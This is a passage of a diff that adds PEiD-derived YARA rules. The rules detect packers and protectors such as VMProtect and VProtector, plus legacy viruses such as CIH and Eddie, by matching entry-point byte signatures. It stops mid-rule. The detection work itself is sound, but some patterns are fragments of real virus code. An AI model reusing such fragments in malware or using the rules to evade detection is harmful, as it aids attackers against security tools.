+rule PEiD_03337_VMProtect_V1_X____PolyTech_
+{
+    meta:
+        description = "[VMProtect V1.X -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+    condition:
+        $a
+}
+
+rule PEiD_03338_VOB_ProtectCD_5_
+{
+    meta:
+        description = "[VOB ProtectCD 5]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03339_VOB_ProtectCD_
+{
+    meta:
+        description = "[VOB ProtectCD]"
+        ep_only = "true"
+    strings:
+        $a = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03340_VPacker____ttui___Sign_by_fly_
+{
+    meta:
+        description = "[VPacker -> ttui ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+    condition:
+        $a
+}
+
+rule PEiD_03341_VPacker____ttui_
+{
+    meta:
+        description = "[VPacker -> ttui]"
+        ep_only = "true"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03342_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F}
+    condition:
+        $a
+}
+
+rule PEiD_03343_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03344_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+    condition:
+        $a
+}
+
+rule PEiD_03345_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03346_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_03347_VProtector_0_X_1_2X____vcasm_
+{
+    meta:
+        description = "[VProtector 0.X-1.2X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03348_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03349_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03350_VProtector_1_1A_1_2____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1A-1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03351_VProtector_1_1X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03352_vprotector_1_2____vcasm__h__
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03353_vprotector_1_2____vcasm_
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+    condition:
+        $a
+}
+
+rule PEiD_03354_vprotector_1_3____vcasm_
+{
+    meta:
+        description = "[vprotector 1.3 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03355_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03356_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03357_VProtector_V1_0__Build_2004_12_13_
+{
+    meta:
+        description = "[VProtector V1.0 [Build 2004.12.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03358_VProtector_V1_0A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03359_VProtector_V1_0B____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0B -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03360_VProtector_V1_0D____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0D -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03361_VProtector_V1_0E____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0E -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03362_VProtector_V1_1____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03363_VProtector_V1_1A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03364_VProtector_V1_1A_V1_2____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A-V1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03365_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03366_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03367_Vterminal_V1_0X____Lei_Peng_
+{
+    meta:
+        description = "[Vterminal V1.0X -> Lei Peng]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03368_Vx__ACME__Clonewar_Mutant__
+{
+    meta:
+        description = "[Vx: ACME (Clonewar Mutant)]"
+        ep_only = "true"
+    strings:
+        $a = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03369_Vx__ARCV_4_
+{
+    meta:
+        description = "[Vx: ARCV.4]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03370_Vx__August_16th__Iron_Maiden__
+{
+    meta:
+        description = "[Vx: August 16th (Iron Maiden)]"
+        ep_only = "true"
+    strings:
+        $a = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03371_Vx__Backfont_900_
+{
+    meta:
+        description = "[Vx: Backfont.900]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03372_Vx__Caz_1204_
+{
+    meta:
+        description = "[Vx: Caz.1204]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03373_Vx__CIH_Version_1_2_TTIT____WIN95CIH____
+{
+    meta:
+        description = "[Vx: CIH Version 1.2 TTIT (! WIN95CIH !)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03374_Vx__Compiler_
+{
+    meta:
+        description = "[Vx: Compiler]"
+        ep_only = "true"
+    strings:
+        $a = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03375_Vx__Danish_tiny_
+{
+    meta:
+        description = "[Vx: Danish tiny]"
+        ep_only = "true"
+    strings:
+        $a = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03376_Vx__Doom_666_
+{
+    meta:
+        description = "[Vx: Doom.666]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03377_Vx__Eddie_1028_
+{
+    meta:
+        description = "[Vx: Eddie.1028]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03378_Vx__Eddie_1530_
+{
+    meta:
+        description = "[Vx: Eddie.1530]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03379_Vx__Eddie_1800_
+{
+    meta:
+        description = "[Vx: Eddie.1800]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03380_Vx__Eddie_2000_
+{
+    meta:
+        description = "[Vx: Eddie.2000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03381_Vx__Eddie_2100_
+{
+    meta:
+        description = "[Vx: Eddie.2100]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03382_Vx__Eddie_based_1745_
+{
+    meta:
+        description = "[Vx: Eddie.based.1745]"
+        ep_only = "true"
+    strings:
